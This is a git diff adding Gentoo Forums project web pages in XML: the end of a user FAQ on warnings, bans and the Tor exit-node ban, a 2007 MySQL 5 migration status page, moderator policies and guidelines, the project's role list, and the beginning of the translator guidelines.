+<p>
+If you want to change your forums username, please, do not contact us. Post
+your new desired username in the
+<uri link="http://forums.gentoo.org/viewtopic-t-102323.html">Username change
+request thread</uri> and we will gladly do it for you.
+</p>
+
+</body>
+</section>
+<section>
+<title>I received a warning from a moderator</title>
+<body>
+
+<p>
+If you received a warning from a moderator, it might have been because you
+performed an action that either is borderline to the <uri link="#doc_chap2">
+policies</uri> or implies an undesired behaviour from you. Please, read
+the warning message carefully and follow the instructions if any. If you ignore
+a warning and keep on conducting in an unwanted way, you will get banned.
+</p>
+
+</body>
+</section>
+<section>
+<title>My account was banned</title>
+<body>
+
+<warn>
+Your account will be immediately banned with no prior notice if your actions
+clearly warrant it. Do not intend to create another forums account, as it will be
+banned as well in a matter of minutes.
+</warn>
+
+<p>
+Your account will be banned for one or more of the following reasons:
+</p>
+<ul>
+<li>You ignored several warning messages</li>
+<li>You spammed the forums</li>
+<li>You conducted a personal aggression against another forums user</li>
+<li>You created another account after being banned with your previous one
+(Such action might get your IP address banned from the forums)</li>
+<li>Other reasons that might imply unacceptable behaviour</li>
+</ul>
+
+<note>
+If you behaved in an inappropriate way in the
+<uri link="http://forums.gentoo.org/viewforum-f-10.html">Off the Wall
+forum</uri>, you will temporally be set aside of that forum. You may also
+receive a warning from a moderator.
+</note>
+
+<p>
+If you feel sorry for what you did and mean to retract yourself, please send a
+<e>200 word essay</e> describing the reasons that pushed you to perform your
+actions and the reasons for which we should consider unbanning you.
+</p>
+
+</body>
+</section>
+<section>
+<title>The IP address I am using is banned</title>
+<body>
+
+<p>
+An IP address or IP address range is banned from the forums if there was some
+kind of abuse from these. That implies spam account creation and multiple
+account creation among other reasons.
+</p>
+
+<p>
+If you think that your IP address should not have been banned, please
+<mail link="forum-mods@gentoo.org">contact us</mail>.
+</p>
+
+</body>
+</section>
+<section>
+<title>Tor servers are banned</title>
+<body>
+
+<p>
+Due to abusive use of tor servers, the
+<uri link="http://www.gentoo.org/proj/en/forums/">Gentoo Forums Staff</uri>
+decided to ban all tor servers that have an exit policy allowing connections
+to forums.gentoo.org on ports 80 (HTTP) and/or 443 (HTTPS).
+</p>
+
+<p>
+In an effort to purge the abuse of the Tor Network generating the least
+problem to our users, only Tor servers with an exit to forums.gentoo.org on the
+ports above stated will be banned. If they have those exits removed, they will
+automatically be unbanned. Please, notice that this process of retrieving the
+list of Tor servers is performed automatically and that it might take a while
+to have the ban-list synced.
+</p>
+
+</body>
+</section>
+<section>
+<title>I have other issues that are not stated in this document</title>
+<body>
+
+<p>
+Unless it is something with high priority, please use the
+<uri link="http://forums.gentoo.org/viewforum-f-5.html">Gentoo Forums
+Feedback forum</uri>, as we review it several times per day. Otherwise,
+feel free to <mail link="forum-mods@gentoo.org">contact us</mail>.
+</p>
+
+</body>
+</section>
+</chapter>
+</guide>
diff --git a/xml/htdocs/proj/en/forums/forum-downtime200709.xml b/xml/htdocs/proj/en/forums/forum-downtime200709.xml
new file mode 100644
index 00000000..37af7caa
--- /dev/null
+++ b/xml/htdocs/proj/en/forums/forum-downtime200709.xml
@@ -0,0 +1,78 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<?xml-stylesheet href="/xsl/project.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE project SYSTEM "/dtd/project.dtd">
+<!-- $Header -->
+<project>
+  <name>Forums Upgrade</name>
+  <longname>Gentoo Forums Downtime/Upgrade Information</longname>
+  <date>2007-09-12</date>
+  <description>
+This page details the progress of the forum upgrade during its downtime.
+</description>
+  <longdescription>
+    <p>
+The server that the forum is hosted on currently runs MySQL 4, but is being upgraded by the <uri link="http://osuosl.org">OSL</uri> to MySQL 5. This migration will bring the forums read-only/off-line while the database is converted, UTF-8 support also being implemented. The migration is currently being planned for the weekend beginning September 8th.</p>
+<p>Due to an unforseen problem we have had to restart the conversion script, this means that the current ETA for completion is Wednesday 12th September.</p>
+  </longdescription>
+  <author title="Author">
+    <mail link="mark_alec@gentoo.org">Mark Kowarsky</mail>
+  </author>
+  <author title="Author">
+    <mail link="earthwings@gentoo.org">Dennis Nienhüser</mail>
+  </author>
+  <task id="mysql5" lead="tomk" finished="yes">
+    <name>Update to MySQL 5</name>
+    <description>The forums database is going to be converted to mysql5</description>
+    <startdate>2007/09/07</startdate>
+    <dev role="Administrator" description="Conversion code and coordination">tomk</dev>
+    <milestone finished="yes">
+      <enddate>2007/09/02</enddate>
+      <description>Plans, tests, announcement</description>
+    </milestone>
+    <milestone finished="yes">
+      <enddate>2007/09/06</enddate>
+      <description>Full conversion test run</description>
+    </milestone>
+    <milestone finished="yes">
+      <enddate>2007/09/07 22:00:00</enddate>
+      <description>Switch forums read-only</description>
+    </milestone>
+    <milestone finished="yes">
+      <enddate>2007/09/09</enddate>
+      <description>Dump existing mysql4 database and import on second box</description>
+    </milestone>
+    <milestone finished="yes">
+      <enddate>2007/09/09</enddate>
+      <description>UTF-8 conversion of forums table</description>
+    </milestone>
+    <milestone finished="yes">
+      <enddate>2007/09/09</enddate>
+      <description>UTF-8 conversion of users table</description>
+    </milestone>
+    <milestone finished="yes">
+      <enddate>2007/09/09</enddate>
+      <description>UTF-8 conversion of personal messages table</description>
+    </milestone>
+    <milestone finished="yes">
+      <enddate>2007/09/09</enddate>
+      <description>UTF-8 conversion of polls table</description>
+    </milestone>
+    <milestone finished="yes">
+      <enddate>2007/09/12</enddate>
+      <description>UTF-8 conversion of topics table</description>
+    </milestone>
+    <milestone finished="yes">
+      <enddate>2007/09/12</enddate>
+      <description>UTF-8 conversion of posts table</description>
+    </milestone>
+    <milestone finished="yes">
+      <enddate>2007/09/12</enddate>
+      <description>Import converted data to the new mysql5 database</description>
+    </milestone>
+    <milestone finished="yes">
+      <enddate>2007/09/12</enddate>
+      <description>Adjust webserver settings to use UTF-8 and the new mysql5 database</description>
+    </milestone>
+  </task>
+</project>
diff --git a/xml/htdocs/proj/en/forums/forum-guide.xml b/xml/htdocs/proj/en/forums/forum-guide.xml
new file mode 100644
index 00000000..2e407bb2
--- /dev/null
+++ b/xml/htdocs/proj/en/forums/forum-guide.xml
@@ -0,0 +1,623 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/en/forums/forum-guide.xml,v 1.8 2006/05/17 14:17:27 maedhros Exp $ -->
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+
+<guide link="/proj/en/forums/forum-guide.xml">
+<title>Gentoo Forums Moderator Policies and Guidelines</title>
+<author title="Author">
+  <mail link="deathwing00@gentoo.org">Ioannis Aslanidis</mail>
+</author>
+<author title="Author">
+  <mail link="curtis119@gentoo.org">Curtis Napier</mail>
+</author>
+<author title="Contributor">
+  <mail link="ian@gentoo.org">Christian Hartmann</mail>
+</author>
+<author title="Contributor">
+  <mail link="amne@gentoo.org">Wernfried Haas</mail>
+</author>
+<author title="Contributor">
+  <mail link="tomk@gentoo.org">Tom Knight</mail>
+</author>
+<author title="Contributor">
+  <mail link="ahellgren@gmail.com">Anders Hellgren</mail>
+</author>
+<author title="Contributor">
+  <mail link="maedhros@gentoo.org">Jonathan Coome</mail>
+</author>
+<author title="Contributor">
+  <mail link="rac@gentoo.org">Robert Coie</mail>
+</author>
+<abstract>
+This guide is a set of basic rules and policies for moderating the Gentoo Forums
+</abstract>
+
+<license/>
+
+<version>1.0</version>
+<date>2005-06-15</date>
+
+<chapter>
+<title>Introduction</title>
+<section>
+<title>Targeted Audience</title>
+<body>
+
+<p>
+The aim of this guide is to provide the basic guidelines and policies to be
+followed by both experienced and inexperienced moderators so that they know what
+they should and should not be doing and the way to do it. Additionally, the
+intent of this guide is to serve as a starting point for new moderators.
+</p>
+
+</body>
+</section>
+<section>
+<title>The origin of Gentoo Forums</title>
+<body>
+
+<p>
+The Gentoo Forums, currently
+<uri link="https://forums.gentoo.org">forums.gentoo.org</uri>,
+first went online as gentoo.frozenliquid.net on 6 April 2002 by Kyle Manna,
+aka
+<uri link="https://forums.gentoo.org/profile.php?mode=viewprofile&#38;u=2">Nitro</uri>.
+The forums server was hosted at Nitros' home with a 2 mbit/s down, 380 kbit/s
+upstream cable connection.
+</p>
+
+<p>
+In June 2003, the forums migrated to an M5 machine at a co-location facility in
+New York, NY. In August 2004 they migrated again to a machine with dual
+2.4Ghz and 3Ghz Xeon processors with enough gigabytes of RAM and hard drive
+space at Oregon State University. In February 2005, the forums were migrated to
+their current location at OSU on a 2 x Intel(R) Xeon(TM) CPU 2.80GHz, 2GB ram and
+5 x 36 SCSI in a RAID5 array. This machine was previously used by the Mozilla
+Foundation to host Firefox.
+</p>
+
+<p>
+The Gentoo Forums have grown so much, with over 87k users and 2k posts per day,
+that they have become the most popular support forums of any Linux distribution.
+The phpBB forum software running at Gentoo Forums, with custom patches, is one
+of the
+<uri link="http://www.big-boards.com/board/62/">biggest implementations
+worldwide</uri>.
+</p>
+
+<p>
+The Gentoo Forums are the right place to ask for support of any kind, both in
+English and in any of the supported languages, and to expect replies from other
+experienced users or even developers. Additionally, there is a large list of
+documentation, tips and tricks section and a place where people can freely
+exchange their ideas, but with no personal aggression. This makes the Gentoo
+Forums the ideal place to ask for support and also a fast way to seek and find
+answers for most questions as posts are preserved indefinitely.
+</p>
+
+</body>
+</section>
+<section>
+<title>About the content of this guide</title>
+<body>
+
+<p>
+The guidelines outlined in this guide are not intended to be universal and are
+not to be followed in a rigid way, due to the different nature of situations
+that might occur. That is, there will be times when all of the guidelines should
+be partially or completely ignored. The moderator's judgment should be the
+primary influence when making a decision.
+</p>
+
+<p>
+The exposed policies form an etiquette that defines the expected behavior from a
+moderator towards the forum users, the developers and the rest of the moderation
+team. The main goals of this etiquette are the following:
+</p>
+
+<ul>
+  <li>Avoid internal confrontations inside the moderation team and preserve the
+  unity of the moderation team</li>
+  <li>Keep a neat and clear public image of every moderator</li>
+  <li>Keep a neat and clear public image of the moderation team as a whole</li>
+</ul>
+
+</body>
+</section>
+</chapter>
+<chapter>
+<title>Policy</title>
+<section>
+<title>General Rules</title>
+<body>
+
+<p>
+All posts must be professional and courteous. Never react impulsively or
+instinctively, always think twice before you post. Remember that your words will
+usually be taken seriously. Bear in mind that the fact that you are a moderator
+gives you more responsibilities than power. All rules applied to forum users are
+still applied to you, that is, you are not immune. It is sometimes advisable,
+as a moderator, to keep your opinion to yourself if it will inflame a user or
+the situation in general.
+</p>
+
+<p>
+The first rule of moderating the forums is to do no harm. If a post is
+borderline or you're not sure what to do with it, err on the side of inaction.
+Talking it over with the other moderators may be a good idea to get more
+opinions of what should be done.
+</p>
+
+<p>
+All Moderators and Administrators are expected to follow the overall Gentoo
+policies contained in the Developers Handbook as well as the Guidelines and
+Policies outlined in this Guide. Please refer to the following documents.
+</p>
+
+<ul>
+  <li><uri link="http://www.gentoo.org/proj/en/devrel/handbook/handbook.xml">
+  Gentoo Developers Handbook</uri></li>
+  <li><uri link="http://www.gentoo.org/proj/en/devrel/new-dev-training.xml">New
+  Developers Training Guide</uri></li>
+  <li><uri link="http://www.gentoo.org/proj/en/devrel/policy.xml">Developer
+  Relations Policy Guide</uri></li>
+</ul>
+
+
+</body>
+</section>
+<section>
+<title>Interacting with users</title>
+<body>
+
+<p>
+These forums are primarily a support resource to allow users to get help for
+Gentoo-related questions. Respect users' opinions as far as they do not attack,
+degrade, troll or malign other users. If a user requests an explanation about
+any of your actions, reply adequately explaining your point of view. If a user
+does something improper or becomes a disturbance, inform the rest of the
+moderation team and take the necessary measures.
+</p>
+
+</body>
+</section>
+<section>
+<title>Interacting with other devs</title>
+<body>
+
+<p>
+Developers are people that put their efforts into improving the Gentoo Linux
+distribution. Their knowledge on how things work in a Gentoo system make their
+posts valuable information. Always try to respect developer opinions and advice
+about support questions. Nevertheless, developers that are not moderators should
+be treated as standard users. That is, not courteous and unprofessional posts
+shall not be tolerated.
+</p>
+
+<p>
+If you have issues with a developer you should first approach 
+them with your concerns (and a possible way to resolve the issue).
+If you cannot resolve the issue with the developer by yourself contact the Top
+Level Manager for that developers Project and the Top Level Manager of the Forum
+and present your issue along with any and all documentation. If they are unable
+to help you the problem may be resolved in two ways. First contact the
+ombudsman. If they cannot help you devrel can be contacted. The Forum Manager
+will assist you in contacting the ombudsman and devrel.
+</p>
+
+</body>
+</section>
+<section>
+<title>Illegal Activities</title>
+<body>
+
+<p>
+The Gentoo forums are located inside the USA. The laws of the USA forbid the use
+or practice of cracked software of any type like <e>warez</e>, <e>crackz</e>,
+etc... This includes sharing serial numbers, links to warez sites or any other
+information that would allow the illegal use of the software. Due to this fact,
+any thread that is related to any such illegal activities should immediately be
+locked. The offending posts in the thread should be edited to remove any of the
+illegal information. If the offending post is inside a thread where the intention
+was not to talk about illegal activities, that post and all related to it should
+be split to the Dustbin and edited.
+</p>
+
+<p>
+Any kind of activity considered illegal by the laws of the USA like pornography
+and such, should be treated in the same way. Additionally, advertising (spamming)
+to the forums is considered an illegal activity and should be treated equally.
+</p>
+
+<p>
+If the offending posts were made by a newly created account, that account should
+be locked. In any other cases, a warning should be dispatched to the offending
+user, unless there are serious reasons to lock his/her account, i.e. it is the
+second time he does that.
+</p>
+
+</body>
+</section>
+<section>
+<title>Interacting with other Moderators</title>
+<body>
+
+<p>
+The other moderators are your team-mates. Try to show unity and unanimity in
+your actions. Always respect the actions of other moderators. If you do not
+agree with an action taken by another moderator, discuss it with him/her like
+rational people. Internal problems are to be solved internally. Anyone that does
+not belong to the moderation team is not supposed to know about it so do not make
+it public. Try to cover, support or back up the actions of other moderators in 
+public if it is necessary.
+</p>
+
+</body>
+</section>
+<section>
+<title>Expectations</title>
+<body>
+
+<p>
+Moderating the Forum takes time. Please try to dedicate a few hours each week to
+Forum issues. There is no minimum amount of time you must dedicate but please try
+to give as much time as you can. Your personal life is always more important
+than moderating the forums. If you're gone for an extended time let your fellow
+moderators know by posting in the
+<uri link="https://forums.gentoo.org/viewtopic-t-12452.html">Status: 410 Gone</uri>
+thread.
+</p>
+
+</body>
+</section>
+<section>
+<title>Mentors</title>
+<body>
+
+<p>
+All Moderators and Administrators who want to be Official Gentoo Staff must go
+through the mentoring process. Please refer to the
+<uri link="http://www.gentoo.org/proj/en/devrel/recruiters/mentor.xml">Gentoo
+Mentors Guide</uri> for further information.
+</p>
+
+</body>
+</section>
+</chapter>
+<chapter>
+<title>Moderator Guidelines</title>
+<section>
+<title>Moving threads</title>
+<body>
+
+<p>
+Move duplicate threads to Duplicate Threads and post a notice linking to the
+thread it was moved in favor of. If you are certain that the thread is a
+duplicate, do it right away. Otherwise, it might be a good idea to post a link,
+see if the original poster acknowledges that it's the same, and then move it.
+Always ensure that there is some clearly marked unlocked thread for followups to
+a thread going into Duplicates.
+</p>
+
+<p>
+When posting moving notices in threads, try to mention the original forum, the
+new forum, and maybe a brief explanation. Remember that each time you move a
+thread you can check the 'Leave auto move post...' checkbox.
+</p>
+
+<p>
+Any new thread that does not ask a support question goes out of Assistance and
+into Discussion (&#38; Documentation). Conversely, any support questions in
+Discussion get moved to Assistance. 
+</p>
+
+<p>
+Support threads about software that is not directly maintained by Gentoo
+developers should instantly be moved to the Unsupported Software forum.
+</p>
+
+<p>
+Support request threads in Assistance should always be in English. If you find a
+thread that is not in English, either ask the user to change it or move it to
+the corresponding international forum at your own discretion.
+</p>
+
+<p>
+Cross posts inside Assistance are not allowed, that is, if you find the same
+request thread (or similar) by the same user in different support forums of
+Assistance, keep the one most useful and move the other(s) to Duplicate Threads.
+You should also post a warning notice so that the user does not do it again.
+</p>
+
+<p>
+Posts with links inside to other threads asking for help on the same issue are
+to be treated like cross posts. An exception is cross-posting in Assistance and
+International Forums unless the international moderators of that forum do not
+want to allow it. This is left to the discretion of the Moderators of each
+international forum.
+</p>
+
+<p>
+Support questions for other operating systems (this includes any linux distro
+like Vida, Redhat, Debian as well as MS Windows and LiveCDs - even if based on
+Gentoo) should be moved to Off The Wall. This does not include questions on how
+to configure a Gentoo system to interoperate with one of these other Operating
+Systems or vice-versa. For instance: 'how do I configure my Windows printer to
+accept jobs from my gentoo box' this question is OK in the support forums. 'how
+do I install bittorent on my windows XP box' is not acceptable and should be
+moved to OTW.
+</p>
+
+<p>
+Under normal circumstances, threads should only be moved once. 
+</p>
+
+</body>
+</section>
+<section>
+<title>Editing a users post</title>
+<body>
+
+<p>
+It is a good practice to edit posts to add your comments in posts of the
+<uri link="https://forums.gentoo.org/viewtopic-t-28820.html">Violations
+Thread</uri> of the Gentoo Forums Feedback forum. If you think a post should be
+edited, to remove offensive URLs, reformat the text or anything you consider
+necessary, add a comment signed with your username at the end of the post between
+the [i] [/i] phpBB code tags.
+</p>
+
+</body>
+</section>
+<section>
+<title>Deleting posts</title>
+<body>
+
+<p>
+If you see an obvious poster error, such as carbon copy posts or threads, delete
+them without warning or notification. Prefer locking to deleting threads. The
+only reason to delete threads is if they are obvious double-posts.
+</p>
+
+</body>
+</section>
+<section>
+<title>Spam</title>
+<body>
+
+<p>
+If you detect a spammer that is posting an advertisement into many forums,
+delete all of them but one, which should be kept as spam proof. That spam proof
+is to be moved to the Dustbin. Finally, report the user into the
+<uri link="https://forums.gentoo.org/viewtopic-t-92861.html">Accounts used for
+SPAM</uri> thread and report the following in your post:
+</p>
+
+<ul>
+  <li>User account (preferably with URL to his profile)</li>
+  <li>A link to the SPAM proof</li>
+  <li>Action to be taken [warning (rarely we choose this option)/ban/ip address
+  ban]</li>
+</ul>
+
+</body>
+</section>
+<section>
+<title>Closing (locking) a thread</title>
+<body>
+
+<p>
+Try to warn major threads once before locking them, if they are drifting off
+topic or getting personal or something. If you (or any other moderator) threatens
+something (one more "me too" and this thread is toast), back it up as quickly as
+possible. Do not make empty threats, nor allow other moderators to look like
+they have done so, for they may have simply gone to sleep. 
+</p>
+
+<p>
+Always post a lock notice with an explanation when locking threads.
+</p>
+
+</body>
+</section>
+<section>
+<title>Splitting threads</title>
+<body>
+
+<p>
+ Split a thread if a question is asked at or near the bottom that doesn't have
+anything to do with the initial topic, unless it's really simple and you can just
+answer it cleanly. Most common type of post in this category I see I call the
+"Columbo syndrome", from the American 1970s television detective, who was famous
+for coming back into a room and saying "just one more thing". Make sure to give
+the new thread a title that is relevant to the question and post a notice of the
+split in the original thread.
+</p>
+
+<p>
+You can also split threads that are lots of pages long if the users agree/request
+it. You should in that case lock the old posts into an 'old' thread and link
+both threads to each other.
+</p>
+
+<p>
+When splitting threads, post split notices both in the old thread and the new thread. 
+</p>
+
+</body>
+</section>
+<section>
+<title>Merging Threads</title>
+<body>
+
+<p>
+Sometimes you come across threads that describe similar issues. Other times, a
+thread is just a duplicate of another thread. In any case, if the new threads
+are short enough and there is no problem with the time/date of them, you can
+always merge the two threads into one instead of moving the new one to Duplicate
+Threads. Remember to post a notice after merging threads, explaining that the
+new thread was merged into the old one.
+</p>
+
+</body>
+</section>
+<section>
+<title>International Forums</title>
+<body>
+
+<p>
+Some International Forums have a Coordination thread in the Moderators Forum.
+Some of them have a separate policy that is a subset of this Guide.
+This Guide takes precedence and should be referred to in cases where the
+International Forum Policy breaks these rules; this is a general rule and
+exceptions can and have been made. If you are assigned as a Moderator of one of
+these Forums please read the thread specific to you. If there isn't an existing
+thread for your language you may create one in the Moderators Forum if there are
+more than one Moderators for that language.
+</p>
+
+<ul>
+  <li><uri link="https://forums.gentoo.org/viewtopic-t-344959.html">
+  Dutch</uri></li>
+  <li><uri link="https://forums.gentoo.org/viewtopic-t-103543.html">
+  German</uri></li>
+  <li><uri link="https://forums.gentoo.org/viewtopic-t-147895.html">
+  Italian</uri></li>
+  <li><uri link="https://forums.gentoo.org/viewtopic-t-262578.html">
+  Polish</uri></li>
+  <li><uri link="https://forums.gentoo.org/viewtopic-t-199902.html">
+  Portuguese</uri></li>
+</ul>
+
+</body>
+</section>
+<section>
+<title>Arch Specific Forums</title>
+<body>
+
+<p>
+The arch specific Forums are generally moderated by Global Moderators and
+<e>usually</e> by a Developer of that architecture. Since the Developer is
+intimately familiar with the architecture their opinion is deferred to in most
+cases. This is a general rule, Global Moderators and Administrators have the
+final say with any issues.
+</p>
+
+</body>
+</section>
+<section>
+<title>Gamers and Players</title>
+<body>
+
+<p>
+The Gamers and Players Forum is listed under Assistance. Unlike the other
+assistance forums, general chat about games is allowed in Gamers and Players.
+Things such as strategies, game codes, etc... The general rule is "If the game
+runs on gentoo, even in an emulator like Cedaga, it is OK to discuss it in
+Gamers and Players". This does <e>not</e> include cracked software. See the
+section entitled "illegal activities" for further information.
+</p>
+
+</body>
+</section>
+<section>
+<title>Miscellaneous</title>
+<body>
+
+<p>
+When quoting a post make sure not to hit "Edit" by mistake. 
+</p>
+
+<p>
+Bumping is generally discouraged but is tolerated if the thread has not had a
+response in more than 24 hours. Use your own judgment and always err on the
+side of the bumper if you are unsure.
+</p>
+
+<p>
+No matter what you do or don't do, you probably can't please everyone. Once you
+have accepted that fact, your life as a moderator will become much easier.
+</p>
+
+<p>
+To prevent any possibility of a moderator's account being compromised you
+must connect securely over https when logged in to the forums.
+</p>
+
+</body>
+</section>
+</chapter>
+<chapter>
+<title>Resources</title>
+<section>
+<title>Forums Test Server</title>
+<body>
+
+<p>
+A <uri link="https://forumstest.gentoo.org/">test server</uri> is available for you to
+test all the shiny new buttons that are available to you as a Moderator. It is
+also the primary server used to test new features and upgrades of the forum
+software. This server is password protected, the username/password is posted
+<uri link="https://forums.gentoo.org/viewtopic-t-331290.html">here</uri>. This
+servers database is a snapshot of the live Forum and is not always up to date.
+If you do not have moderator status on this server please contact a Forum
+Administrator.
+</p>
+
+</body>
+</section>
+<section>
+<title>IRC - #gentoo-forums</title>
+<body>
+
+<p>
+The Forum has it's own irc channel set up for users to contact the Forum Team,
+#gentoo-forums on freenode.net. Although you do not have to idle in this channel
+it is a resource that many users take advantage of. If you are on irc please
+idle in this channel so users can contact you.
+</p>
+
+</body>
+</section>
+<section>
+<title>forum-mods@gentoo.org</title>
+<body>
+
+<p>
+Global Moderators and Administrators should be added to the forum-mods@gentoo.org
+email alias. This email is primarily for users who are having problems with their
+forum account and can't contact us in any other way. Although the Moderators
+forum is the primary way to have internal discussions this mailing list is also
+used. Anyone who is a moderator can see the moderator forum. Only Global
+Moderators and Administrators receive the mail sent to this email address. Please
+keep this in mind when deciding which avenue of communication to use.
+</p>
+
+</body>
+</section>
+<section>
+<title>Emails and URLs</title>
+<body>
+
+<ul>
+  <li><uri link="https://forums.gentoo.org/viewtopic-t-28820.html">Guideline
+  Violations Reports</uri></li>
+  <li><uri link="https://forums.gentoo.org/viewtopic-t-339461.html">Banned
+  Anthology</uri></li>
+  <li><uri link="https://forums.gentoo.org/viewtopic-t-382491.html">Problem
+  Accounts</uri></li>
+  <li><uri link="https://forumstest.gentoo.org"> Forums Test Server</uri></li>
+  <li><uri link="http://www.gentoo.org/proj/en/devrel/recruiters/mentor.xml">
+  Gentoo Mentors Guide</uri></li>
+  <li><uri link="http://www.gentoo.org/proj/en/devrel/handbook/handbook.xml">
+  Gentoo Developers Handbook</uri></li>
+  <li><uri link="http://www.gentoo.org/proj/en/devrel/new-dev-training.xml">New
+  Developers Training Guide</uri></li>
+  <li><uri link="http://www.gentoo.org/proj/en/devrel/policy.xml">Developer
+  Relations Policy Guide</uri></li>
+</ul>
+
+</body>
+</section>
+</chapter>
+</guide>
diff --git a/xml/htdocs/proj/en/forums/index.xml b/xml/htdocs/proj/en/forums/index.xml
new file mode 100644
index 00000000..55531869
--- /dev/null
+++ b/xml/htdocs/proj/en/forums/index.xml
@@ -0,0 +1,150 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<?xml-stylesheet href="/xsl/project.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE project SYSTEM "/dtd/project.dtd">
+
+<project>
+<name>Forums</name>
+
+<longname>Gentoo Linux Forums</longname>
+
+<author title="Author">
+  <mail link="curtis119@gentoo.org">Curtis Napier</mail>
+</author>
+
+<description>
+The Gentoo Forums are a source of support for the Gentoo user community. It
+allows users to post support questions that can be answered by developers and
+other users alike.
+</description>
+
+<longdescription><p>
+The Forums are a main source of contact for the user community to interact with
+the Gentoo developer community as well as other users. The primary purpose of
+the Forums is for users to post support questions. Many developers use the
+Forums to recruit testers for their packages and to make community
+announcements. Security vulnerabilities (GLSA) are also announced and archived.
+There is a collection of FAQs that covers installation and administration of
+Gentoo Linux.
+</p></longdescription>
+
+<dev role="Subproject Lead" description="Administrator / Forums Infra">tomk</dev>
+<dev role="Member" description="Administrator">amne</dev>
+<dev role="Member" description="Administrator">pilla</dev>
+<dev role="Lead" description="Administrator">kallamej</dev>
+<dev role="Member" description="Administrator">pjp</dev>
+<dev role="Member" description="Administrator">klieber</dev>
+<dev role="Member" description="Administrator / Forums Infra">Maedhros</dev>
+<dev role="Member" description="Global Moderator">Deathwing00</dev>
+<dev role="Member" description="Administrator">Earthwings</dev>
+<dev role="Member" description="Administrator">nixnut</dev>
+<dev role="Member" description="Administrator">NeddySeagoon</dev>
+<dev role="Member" description="Global Moderator">jmbsvicetto</dev>
+<dev role="Lead" description="Administrator">desultory</dev>
+<dev role="Member" description="Administrator">think4urs11</dev>
+<dev role="Member" description="Global Moderator">i92guboj</dev>
+<dev role="Member" description="Administrator">timeBandit</dev>
+<dev role="Member" description="Global Moderator">NathanZachary</dev>
+<dev role="Member" description="Global Moderator">d2_racing</dev>
+<dev role="Member" description="Language Moderator (French)">kernelsensei</dev>
+
+<extrachapter position="top">
+<title>Roles</title>
+<section>
+<body>
+
+<p>
+There are four main roles within the Forums Project listed in the table below.
+</p>
+
+<table>
+<tr>
+  <th>Title</th>
+  <th>Description</th>
+</tr>
+<tr>
+  <ti>Administrator</ti>
+  <ti>
+    Can manipulate user accounts: (un)ban existing accounts, activate new
+    accounts, install, delete and edit templates. Inherits all abilities of
+    Global Moderators.
+  </ti>
+</tr>
+<tr>
+  <ti>Global Moderator</ti>
+  <ti>Can edit, delete, move and lock threads from any part of the forum.</ti>
+</tr>
+<tr>
+  <ti>Language Moderator</ti>
+  <ti>Can edit, delete and lock threads in an Language specific forum.</ti>
+</tr>
+<tr>
+  <ti>Arch Moderator</ti>
+  <ti>Can edit, delete and lock threads in an Architecture specific forum.</ti>
+</tr>
+</table>
+
+</body>
+</section>
+</extrachapter>
+<extrachapter>
+<title>Forums Infrastructure</title>
+<section>
+<body>
+
+<p>
+Forums Infrastructure Subproject Lead is Tom Knight (tomk).
+</p>
+
+<p>
+The Forums Infrastructure Subproject is responsible for maintenance of the MySQL
+database and the phpBB software that powers the Forums. There is a
+<uri link="http://forumstest.gentoo.org/">server</uri> set up for testing new
+features and upgrades. It requires a password to access, if you need/want to help
+with testing please ask the Subproject Lead.
+</p>
+
+</body>
+</section>
+</extrachapter>
+
+<extrachapter position="bottom">
+<title>How to Participate</title>
+<section>
+<body>
+
+<p>
+Moderators are recruited from the Forums user community. There is a list of
+qualities that are used as factors in the candidate selection:
+</p>
+
+<ul>
+  <li>Report <uri link="http://forums.gentoo.org/viewtopic-t-525.html">Guideline
+    violations</uri>
+  </li>
+  <li>Threads/posts that need to be moved to a different subforum</li>
+  <li>Demonstrate a professional attitude and willingness to help</li> 
+</ul>
+
+<p>
+New Moderators are selected on an as-needed basis. Candidates are choosen by
+consensus and asked to participate. Architecture specific Moderators are usually
+selected from the pool of Developers that are assigned to that arch team. All
+Moderators must read and follow the
+<uri link="/proj/en/forums/forum-guide.xml">Forum Guidelines</uri>.
+</p>
+
+<p>
+You can also help out with translations on the Forums, see the <uri
+link="/proj/en/forums/translations.xml">Translator Guidelines</uri> for more
+information.
+</p>
+
+<p>
+You can contact us by posting questions in the Gentoo Forums Feedback forum, via e-mail (forum-mods@gentoo.org) or IRC (#gentoo-forums on irc.freenode.net).
+</p>
+
+</body>
+</section>
+</extrachapter>
+</project>
diff --git a/xml/htdocs/proj/en/forums/translations.xml b/xml/htdocs/proj/en/forums/translations.xml
new file mode 100644
index 00000000..01d89cfa
--- /dev/null
+++ b/xml/htdocs/proj/en/forums/translations.xml
@@ -0,0 +1,304 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/en/forums/translations.xml,v 1.7 2006/08/05 13:22:27 tomk Exp $ -->
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+
+<guide link="/proj/en/forums/translations.xml">
+<title>Gentoo Forums Translator Guidelines</title>
+<author title="Author">
+  <mail link="tomk@gentoo.org">Tom Knight</mail>
+</author>
+<author title="Editor">
+  <mail link="ian@gentoo.org">Christian Hartmann</mail>
+</author>
+<abstract>
+This guide is for people helping out with forums translations
+</abstract>
+
+<!-- The content of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommons.org/licenses/by-sa/2.5 -->
+<license/>
+
+<version>1.1</version>
+<date>2006-08-05</date>
+
+<chapter>
+<title>Introduction</title>
+<section>
+<title>Targeted Audience</title>
+<body>
+
+<p>
+The aim of this guide is to provide the basic guidelines to anyone working
+on translations for the forums. This includes those with direct CVS access
+as well as those who don't. Detailed instructions are provided for both
+groups.
+</p>
+
+</body>
+</section>
+<section>
+<title>Reasons for Translations</title>
+<body>
+
+<p>
+When new features are released to the Gentoo Forums, either by Gentoo or by
+phpBB, new phrases and words are added. Typically they are added to the
+English language pack only, this means that anyone using a different
+language pack will see these phrases in English. The supported languages are
+listed below.
+</p>
+
+<ul>
+  <li>Chinese (simplified)</li>
+  <li>Chinese (traditional)</li>
+  <li>Danish</li>
+  <li>Dutch</li>
+  <li>Esperanto</li>
+  <li>Finnish</li>
+  <li>French</li>
+  <li>German</li>
